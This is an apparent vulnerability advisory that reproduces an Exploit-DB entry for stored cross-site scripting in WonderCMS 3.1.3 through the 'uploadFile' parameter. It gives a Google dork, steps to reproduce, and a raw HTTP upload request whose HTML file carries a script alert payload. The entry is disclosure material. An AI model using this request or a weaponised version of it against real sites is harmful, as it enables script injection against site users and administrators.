WonderCMS 3.1.3 - 'uploadFile' Stored Cross-Site Scripting

vendor:

WonderCMS

by:

SunCSR (Sun* Cyber Security Research)

8.8

CVSS

HIGH

Stored Cross-Site Scripting

CWE

Product Name: WonderCMS

Affected Version From: 3.1.3

Affected Version To: 3.1.3

Patch Exists: YES

Related CWE: N/A

CPE: a:wondercms:wondercms:3.1.3

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu 20.10

2020

WonderCMS 3.1.3 – ‘uploadFile’ Stored Cross-Site Scripting

WonderCMS 3.1.3 is vulnerable to stored cross-site scripting (XSS) via the 'uploadFile' parameter. An attacker can upload a malicious file containing a payload XSS with an extension such as HTML, SVG, or HTM. The malicious file can then be accessed via the URL http://target.lc/data/files/<name-file> and the XSS payload can be triggered.

Mitigation:

Ensure that user-supplied input is properly sanitized and validated before being used in the application.

Source

Exploit-DB raw data:

# Exploit Title: WonderCMS 3.1.3 - 'uploadFile' Stored Cross-Site Scripting
# Google Dork: "WonderCMS"
# Date: 2020-11-27
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://www.wondercms.com/
# Software Link: https://github.com/robiso/wondercms/releases/download/3.1.3/WonderCMS-3.1.3.zip
# Version: 3.1.3
# Tested on: Ubuntu 20.10

Steps-To-Reproduce:
1. Login and select button setting
2. Go to tab Files, and upload file contains payload xss with extension like html, svg, htm
3. Go to http://target.lc/data/files/<name-file> and trigger XSS

POST /home HTTP/1.1
Host: wordpress.lc:8081
Content-Length: 372
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://wordpress.lc:8081
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundary6EKP5vjUNS5Icgql
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://wordpress.lc:8081/
Accept-Encoding: gzip, deflate
Accept-Language: vi,vi-VN;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=74me71gverejuaf2bns2n5fpkf
Connection: close

------WebKitFormBoundary6EKP5vjUNS5Icgql
Content-Disposition: form-data; name="uploadFile"; filename="xss.html"
Content-Type: text/html

<script>alert('XSS')</script>
------WebKitFormBoundary6EKP5vjUNS5Icgql
Content-Disposition: form-data; name="token"

5d715f2aebdf138f4968fce8dcd3703778c6fb5a1abea40e27eb9280079474da
------WebKitFormBoundary6EKP5vjUNS5Icgql--

--